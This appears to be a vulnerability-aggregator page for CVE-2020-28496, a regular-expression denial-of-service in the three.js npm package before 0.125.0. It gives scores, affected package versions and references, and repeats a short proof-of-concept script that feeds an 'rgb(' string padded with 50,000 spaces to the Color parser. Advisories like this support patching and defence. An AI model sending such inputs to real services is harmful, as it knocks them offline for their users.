CVE-2020-28496
Regular Expression Denial of Service (ReDoS)
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used 7.5
Regular Expression Denial of Service (ReDoS)
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
- Record
CVE-2020-28496- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
EUVDEUVD-2021-0655 7.5
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
- Record
EUVD-2021-0655- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-fq6p-x6j3-cmmq 7.5
Denial of service in three
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.
PoC:
var three = require('three')
function build_blank(n) {
var ret = "rgb("
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "";
}
var Color = three.Color
var time = Date.now();
new Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost + " ms")
- Record
GHSA-fq6p-x6j3-cmmq- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400
- Updated
- 2026-11-02
NVD 7.5
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
- Record
CVE-2020-28496- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - CVSS 2.0
- 5.0 Medium
AV:N/AC:L/Au:N/C:N/I:N/A:P - Weakness
- CWE-400
- Updated
- 2026-11-02
OSVGHSA-fq6p-x6j3-cmmq 7.5
Denial of service in three
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.
PoC:
var three = require('three')
function build_blank(n) {
var ret = "rgb("
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "";
}
var Color = three.Color
var time = Date.now();
new Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost + " ms")
- Record
GHSA-fq6p-x6j3-cmmq- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-400
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2020-28496 7.5
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
- Record
UBUNTU-CVE-2020-28496- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVCLSA-2026-1772583176No score
TuxCare security update for three (1 CVE)
TuxCare rebuilt three to address 1 CVE. Fixed in 0.71.0-tuxcare.1.
- Record
CLSA-2026-1772583176- Updated
- 2026-11-02
OSVCLSA-2026-1792760004No score
TuxCare security update for three (1 CVE)
TuxCare rebuilt three to address 1 CVE. Fixed in 0.71.0-tuxcare.3.
- Record
CLSA-2026-1792760004- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
threenpm | before 0.125.0 | 0.125.0 |
threeTuxCare:npm | 0.71.0-tuxcare.0 up to 0.71.0-tuxcare.1, plus listed versions 0.71.0 | 0.71.0-tuxcare.1 |
threeTuxCare:npm | 0.71.0-tuxcare.0 up to 0.71.0-tuxcare.3, plus listed versions 0.71.00.71.0-tuxcare.10.71.0-tuxcare.2 | 0.71.0-tuxcare.3 |
three.jsUbuntu:16.04:LTS | All versions, plus listed versions 73+dfsg-1 | None known |
three.jsUbuntu:18.04:LTS | All versions, plus listed versions 80+dfsg2-1 | None known |
three.jsUbuntu:20.04:LTS | All versions, plus listed versions 80+dfsg2-2111+dfsg1-1 | None known |
three.jsUbuntu:22.04:LTS | All versions, plus listed versions 111+dfsg1-2 | None known |
three.jsUbuntu:24.04:LTS | All versions, plus listed versions 111+dfsg1-3 | None known |
three.jsUbuntu:25.10 | All versions, plus listed versions 111+dfsg1-3 | None known |
three.jsUbuntu:26.10 | All versions, plus listed versions 111+dfsg1-5 | None known |
three.jsUbuntu:26.04:LTS | All versions, plus listed versions 111+dfsg1-3111+dfsg1-3build1111+dfsg1-4111+dfsg1-5 | None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| facts | ||
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2020-28496 is a high vulnerability (CVSS 7.5) in Three Project Three, published February 18, 2021. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.52%, the 85th percentile. Fixed in three 0.125.0.
References
snyk.io/vuln/SNYK-JS-THREE-1064931
snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972
github.com/mrdoob/three.js/issues/21132
github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e
nvd.nist.gov/vuln/detail/CVE-2020-28496
github.com/advisories/GHSA-fq6p-x6j3-cmmq
ubuntu.com/security/CVE-2020-28496
cve.org/CVERecord?id=CVE-2020-28496